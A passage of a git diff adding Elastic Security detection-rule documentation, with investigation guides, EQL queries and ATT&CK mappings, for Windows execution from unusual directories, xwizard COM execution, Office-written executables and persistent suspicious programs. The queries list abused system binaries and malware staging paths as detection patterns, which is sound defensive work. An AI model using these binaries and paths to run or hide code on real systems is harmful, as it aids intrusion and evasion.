https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Replication Through Removable Media +** ID: T1091 +** Reference URL: https://attack.mitre.org/techniques/T1091/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-from-unusual-directory-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-from-unusual-directory-command-line.asciidoc new file mode 100644 index 0000000000..6071877ae8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-from-unusual-directory-command-line.asciidoc @@ -0,0 +1,325 @@ +[[prebuilt-rule-8-19-34-execution-from-unusual-directory-command-line]] +=== Execution from Unusual Directory - Command Line + +Identifies process execution from suspicious default Windows directories. This may be abused by adversaries to hide malware in trusted paths. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 323 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution from Unusual Directory - Command Line* + + +This rule looks for the execution of scripts from unusual directories. Attackers can use system or application paths to hide malware and make the execution less suspicious. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to determine which commands or scripts were executed. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the script using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of parent process executable and command line conditions. + + +*Related rules* + + +- Process Execution from an Unusual Directory - ebfe1448-7fac-4d59-acea-181bd89b1f7f + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("wscript.exe", + "cscript.exe", + "rundll32.exe", + "regsvr32.exe", + "cmstp.exe", + "RegAsm.exe", + "installutil.exe", + "mshta.exe", + "RegSvcs.exe", + "powershell.exe", + "pwsh.exe", + "cmd.exe") and + + /* add suspicious execution paths here */ + process.args : ("C:\\PerfLogs\\*", + "C:\\Users\\Public\\*", + "C:\\Windows\\Tasks\\*", + "C:\\Intel\\*", + "C:\\AMD\\Temp\\*", + "C:\\Windows\\AppReadiness\\*", + "C:\\Windows\\ServiceState\\*", + "C:\\Windows\\security\\*", + "C:\\Windows\\IdentityCRL\\*", + "C:\\Windows\\Branding\\*", + "C:\\Windows\\csc\\*", + "C:\\Windows\\DigitalLocker\\*", + "C:\\Windows\\en-US\\*", + "C:\\Windows\\wlansvc\\*", + "C:\\Windows\\Prefetch\\*", + "C:\\Windows\\Fonts\\*", + "C:\\Windows\\diagnostics\\*", + "C:\\Windows\\TAPI\\*", + "C:\\Windows\\INF\\*", + "C:\\Windows\\System32\\Speech\\*", + "C:\\windows\\tracing\\*", + "c:\\windows\\IME\\*", + "c:\\Windows\\Performance\\*", + "c:\\windows\\intel\\*", + "c:\\windows\\ms\\*", + "C:\\Windows\\dot3svc\\*", + "C:\\Windows\\panther\\*", + "C:\\Windows\\RemotePackages\\*", + "C:\\Windows\\OCR\\*", + "C:\\Windows\\appcompat\\*", + "C:\\Windows\\apppatch\\*", + "C:\\Windows\\addins\\*", + "C:\\Windows\\Setup\\*", + "C:\\Windows\\Help\\*", + "C:\\Windows\\SKB\\*", + "C:\\Windows\\Vss\\*", + "C:\\Windows\\servicing\\*", + "C:\\Windows\\CbsTemp\\*", + "C:\\Windows\\Logs\\*", + "C:\\Windows\\WaaS\\*", + "C:\\Windows\\twain_32\\*", + "C:\\Windows\\ShellExperiences\\*", + "C:\\Windows\\ShellComponents\\*", + "C:\\Windows\\PLA\\*", + "C:\\Windows\\Migration\\*", + "C:\\Windows\\debug\\*", + "C:\\Windows\\Cursors\\*", + "C:\\Windows\\Containers\\*", + "C:\\Windows\\Boot\\*", + "C:\\Windows\\bcastdvr\\*", + "C:\\Windows\\TextInput\\*", + "C:\\Windows\\security\\*", + "C:\\Windows\\schemas\\*", + "C:\\Windows\\SchCache\\*", + "C:\\Windows\\Resources\\*", + "C:\\Windows\\rescache\\*", + "C:\\Windows\\Provisioning\\*", + "C:\\Windows\\PrintDialog\\*", + "C:\\Windows\\PolicyDefinitions\\*", + "C:\\Windows\\media\\*", + "C:\\Windows\\Globalization\\*", + "C:\\Windows\\L2Schemas\\*", + "C:\\Windows\\LiveKernelReports\\*", + "C:\\Windows\\ModemLogs\\*", + "C:\\Windows\\ImmersiveControlPanel\\*", + "C:\\$Recycle.Bin\\*") and + + /* noisy FP patterns */ + + not process.parent.executable : ("C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\*\\igfxCUIService*.exe", + "C:\\Windows\\System32\\spacedeskService.exe", + "C:\\Program Files\\Dell\\SupportAssistAgent\\SRE\\SRE.exe") and + not (process.name : "rundll32.exe" and + process.args : ("uxtheme.dll,#64", + "PRINTUI.DLL,PrintUIEntry", + "?:\\Windows\\System32\\FirewallControlPanel.dll,ShowNotificationDialog", + "?:\\WINDOWS\\system32\\Speech\\SpeechUX\\sapi.cpl", + "?:\\Windows\\system32\\shell32.dll,OpenAs_RunDLL")) and + + not (process.name : "cscript.exe" and process.args : "?:\\WINDOWS\\system32\\calluxxprovider.vbs") and + + not (process.name : "cmd.exe" and process.args : "?:\\WINDOWS\\system32\\powercfg.exe" and process.args : "?:\\WINDOWS\\inf\\PowerPlan.log") and + + not (process.name : "regsvr32.exe" and process.args : "?:\\Windows\\Help\\OEM\\scripts\\checkmui.dll") and + + not (process.name : "cmd.exe" and + process.parent.executable : ("?:\\Windows\\System32\\oobe\\windeploy.exe", + "?:\\Program Files (x86)\\ossec-agent\\wazuh-agent.exe", + "?:\\Windows\\System32\\igfxCUIService.exe", + "?:\\Windows\\Temp\\IE*.tmp\\IE*-support\\ienrcore.exe")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-com-object-via-xwizard.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-com-object-via-xwizard.asciidoc new file mode 100644 index 0000000000..25914ccdbf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-com-object-via-xwizard.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-execution-of-com-object-via-xwizard]] +=== Execution of COM object via Xwizard + +Windows Component Object Model (COM) is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects or executable code. Xwizard can be used to run a COM object created in registry to evade defensive counter measures. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Xwizard/ +* http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution of COM object via Xwizard* + + +The Windows Component Object Model (COM) facilitates communication between software components. Adversaries exploit this by using Xwizard to execute COM objects, bypassing security measures. The detection rule identifies suspicious Xwizard executions by monitoring process starts, checking for unusual arguments, and verifying executable paths, thus flagging potential misuse of COM objects for malicious activities. + + +*Possible investigation steps* + + +- Review the process start event details to confirm the presence of xwizard.exe execution, focusing on the process.name and process.pe.original_file_name fields. +- Examine the process.args field to identify any unusual or suspicious arguments, particularly looking for the "RunWizard" command and any GUIDs or patterns that may indicate malicious activity. +- Verify the process.executable path to ensure it matches the expected system paths (C:\Windows\SysWOW64\xwizard.exe or C:\Windows\System32\xwizard.exe). Investigate any deviations from these paths as potential indicators of compromise. +- Check the parent process of xwizard.exe to understand the context of its execution and identify any potentially malicious parent processes. +- Correlate the event with other security data sources such as Microsoft Defender XDR or Sysmon logs to gather additional context and identify any related suspicious activities or patterns. +- Investigate the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential unauthorized access or privilege escalation. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they use Xwizard to execute COM objects. Users can create exceptions for known software update processes by verifying the executable paths and arguments. +- System administrators might use Xwizard for legitimate configuration tasks. To handle this, identify and document regular administrative activities and exclude these from the rule by specifying the expected process arguments and executable paths. +- Automated scripts or management tools that utilize Xwizard for system management tasks can cause false positives. Review and whitelist these scripts or tools by ensuring their execution paths and arguments are consistent with known safe operations. +- Some security tools or monitoring solutions might use Xwizard as part of their normal operations. Confirm these activities with the tool's documentation and exclude them by adding their specific execution patterns to the exception list. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious xwizard.exe processes identified by the detection rule to halt potential malicious execution. +- Conduct a thorough review of the system's registry for unauthorized COM objects and remove any entries that are not recognized or are deemed malicious. +- Restore the system from a known good backup if unauthorized changes or persistent threats are detected. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor the network for any signs of similar activity or related threats, ensuring that detection systems are tuned to identify variations of this attack. +- Escalate the incident to the security operations center (SOC) or relevant security team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "xwizard.exe" or ?process.pe.original_file_name : "xwizard.exe") and + ( + (process.args : "RunWizard" and process.args : "{*}") or + (process.executable != null and + not process.executable : ( + "C:\\Windows\\SysWOW64\\xwizard.exe", + "C:\\Windows\\System32\\xwizard.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\xwizard.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\xwizard.exe" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-file-written-or-modified-by-microsoft-office.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-file-written-or-modified-by-microsoft-office.asciidoc new file mode 100644 index 0000000000..99a3fc6ea8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-file-written-or-modified-by-microsoft-office.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-execution-of-file-written-or-modified-by-microsoft-office]] +=== Execution of File Written or Modified by Microsoft Office + +Identifies an executable created by a Microsoft Office application and subsequently executed. These processes are often launched via scripts inside documents or during exploitation of Microsoft Office applications. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 60m + +*Searches indices from*: now-120m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution of File Written or Modified by Microsoft Office* + + + +*Possible investigation steps* + + +- Which source events matched the Office write-to-execute sequence? + - Why: this sequence can merge fields from different file and process events, so source events are the evidence for writer and executed-process identity. + - Focus: open Investigate in Timeline for the alert window on the same host; compare written `file.path` with executed `process.executable`, then record source `process.name`, `process.entity_id`, and stable `user.id`. + - Implication: escalate when Office creates an executable that later starts from the same path; lower suspicion when the recovered sequence resolves to a recognized signed add-in or helper updater in a controlled product tree. Signed Microsoft NewOutlookInstaller.exe and Citrix ShareFileForOutlook helpers are excluded, so a generic updater label is not closure. + +- Is the Office writer the expected Office component and parent context? + - Focus: writer `process.executable`, signer/trust, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when WINWORD.EXE, EXCEL.EXE, OUTLOOK.EXE, POWERPNT.EXE, MSPUB.EXE, MSACCESS.EXE, eqnedt32.exe, or fltldr.exe is renamed, untrusted, user-writable, or launched by an unusual parent; lower suspicion when writer path, signer, and parent chain match the user's recognized Office integration. Writer identity never clears the executed file by itself. + +- Does the written executable look staged for payload delivery? + - Focus: `file.path`, original path/extension, `file.Ext.header_bytes`, `file.Ext.windows.zone_identifier`, and same-host file activity on the written path. !{investigate{"description":"","label":"File events for the written executable path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-2h","relativeTo":"now"}} + - Implication: escalate for Temp, Downloads, AppData, mail cache, startup, unrelated product paths, Internet Zone evidence, or executable content after rename; lower suspicion when the artifact stays in a recognized add-in or update tree and path history fits that workflow. + +- Does the executed file's identity and command line fit the same workflow? + - Focus: executed `process.executable`, `process.hash.sha256`, signer, `process.command_line`, and `process.Ext.relative_file_creation_time`. + - Hint: use prior endpoint process starts or related alerts for `process.hash.sha256` only after identity and command line fit the suspected workflow. !{investigate{"description":"","label":"Alerts associated with the executed file hash","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"process.hash.sha256","queryType":"phrase","value":"{{process.hash.sha256}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the executable is newly created, unsigned, user-writable, mismatched to signer or path, or launched with script, LOLBin, unpacking, or self-extracting arguments; lower suspicion only when signer, hash history, path, age, and arguments all fit the same recognized helper workflow. + +- What document, email, archive, or integration source caused Office to write the executable? + - Focus: file events from writer `process.entity_id`; review `file.path`, `file.origin_url`, `file.origin_referrer_url`, and `file.Ext.windows.zone_identifier`. + - Hint: if records are incomplete or the entity pivot returns none, use the same host, writer `process.pid`, and tight write-time window. + - Implication: escalate when the write follows a downloaded document, email attachment, archive extraction, or web referrer outside the same recognized workflow; lower suspicion when provenance points to a recognized deployment package or Office integration source. Missing provenance is inconclusive, not benign. + +- Did the executed file produce malicious follow-on process or file activity? + - Focus: process and file events scoped to executed `process.entity_id`: child `process.parent.entity_id`, child `process.command_line`, and new `file.path` values. + - Hint: if records are incomplete or the entity pivot returns none, use the same host, executed `process.pid`, and post-start window. + - Implication: escalate when the payload launches script interpreters, LOLBins, unpackers, or additional binaries, or stages files outside the recognized product tree; lower urgency when follow-on activity stays limited to expected local install or update actions. Preserve Office-written DLLs, scripts, or shortcut launchers in the same scope as adjacent payload variants. + +- If local findings remain suspicious or unresolved, do related alerts show the same delivery chain or spread? + - Focus: related alerts for `host.id`, then pivot on recovered stable `user.id`; prioritize document delivery, script execution, persistence, and outbound connection alerts. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when related alerts connect the same host or user to delivery, scripting, persistence, or beaconing; keep scope local when the sequence is isolated and local evidence supports one recognized workflow. + +- Escalate when sequence, artifact, identity, delivery, behavior, or related-alert evidence supports suspicious Office write-to-execute activity; close only when all categories align with one recognized add-in, updater, or integration workflow and no contradictory artifacts remain; if evidence is mixed or incomplete, preserve artifacts and escalate. + + +*False positive analysis* + + +- Office add-in, repair, updater, document-management, e-signature, DLP, or collaboration integrations can write and launch helper executables. Confirm that writer identity, written path, executed hash or signer, parent context, provenance, command line, and follow-on activity all point to the same product or integration workflow. If records are unavailable, require telemetry-only recurrence of the same writer, path tree, signer/hash pattern, and `host.id` or `user.id` cohort across prior alerts. +- Before creating an exception, validate that the same Office writer, path tree, executed signer or `process.hash.sha256`, provenance pattern, and `host.id`/`user.id` cohort recur across prior alerts from this rule. Build the exception from that minimum workflow pattern; avoid exceptions on Office process names, `process.name`, or `file.extension` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the writer identity, written path tree, executed hash and signer, parent/delivery context, and recurrence evidence. Create an exception only for the same stable workflow pattern. +- If suspicious but unconfirmed, preserve Timeline source events, copies of the written executable and source document/archive, process tree details, recovered entity IDs, command line, hash, path, and provenance URLs before containment. Apply reversible containment first: quarantine the lure or executable, block the confirmed hash/path temporarily where controls support it, or increase monitoring on the affected `host.id` and `user.id`. Isolate the host only if follow-on process/file evidence shows malicious staging or execution and the host can tolerate interruption. +- If confirmed malicious, isolate the host and terminate the executed payload after preserving the source events, process tree, written executable, lure document or archive, hash, signer, and provenance evidence. Block the confirmed hash or path where controls support it, then remove the malicious executable, lure, archive, and staged files identified during the investigation. +- Review related hosts and users for the same written path pattern, executed hash, signer, and provenance evidence before deleting artifacts. Then remediate the delivery path, such as the phishing message, archive, or malicious Office document, that led to the write-execute sequence. +- Post-incident hardening: restrict Office-driven writes and launches of executable content in user-writable paths, retain endpoint file-provenance and process-start telemetry, and record confirmed adjacent variants, such as Office-written DLLs, scripts, or shortcut launchers, in the case history for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=2h + [file where host.os.type == "windows" and event.type != "deletion" and file.extension : "exe" and + process.name : ( + "WINWORD.EXE", "EXCEL.EXE", "OUTLOOK.EXE", "POWERPNT.EXE", + "eqnedt32.exe", "fltldr.exe", "MSPUB.EXE", "MSACCESS.EXE" + ) + ] by host.id, file.path + [process where host.os.type == "windows" and event.type == "start" and + not (process.name : "NewOutlookInstaller.exe" and process.code_signature.subject_name : "Microsoft Corporation" and process.code_signature.trusted == true) and + not (process.name : "ShareFileForOutlook-v*.exe" and process.code_signature.subject_name : "Citrix Systems, Inc." and process.code_signature.trusted == true) + ] by host.id, process.executable + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-persistent-suspicious-program.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-persistent-suspicious-program.asciidoc new file mode 100644 index 0000000000..8f2665f450 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-execution-of-persistent-suspicious-program.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-34-execution-of-persistent-suspicious-program]] +=== Execution of Persistent Suspicious Program + +Identifies execution of suspicious persistent programs (scripts, rundll32, etc.) by looking at process lineage and command line usage. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution of Persistent Suspicious Program* + + +Persistent programs, like scripts or rundll32, are often used by adversaries to maintain access to a system. These programs can be executed at startup, leveraging process lineage and command line arguments to evade detection. The detection rule identifies suspicious executions by monitoring the sequence of processes initiated after user logon, focusing on known malicious executables and unusual file paths, thus highlighting potential abuse of persistence mechanisms. + + +*Possible investigation steps* + + +- Review the process lineage to confirm the sequence of userinit.exe, explorer.exe, and the suspicious child process. Verify if the child process was indeed launched shortly after user logon. +- Examine the command line arguments of the suspicious process to identify any unusual or malicious patterns, especially those involving known suspicious paths like C:\Users\*, C:\ProgramData\*, or C:\Windows\Temp\*. +- Check the original file name of the suspicious process against known malicious executables such as cscript.exe, wscript.exe, or PowerShell.EXE to determine if it 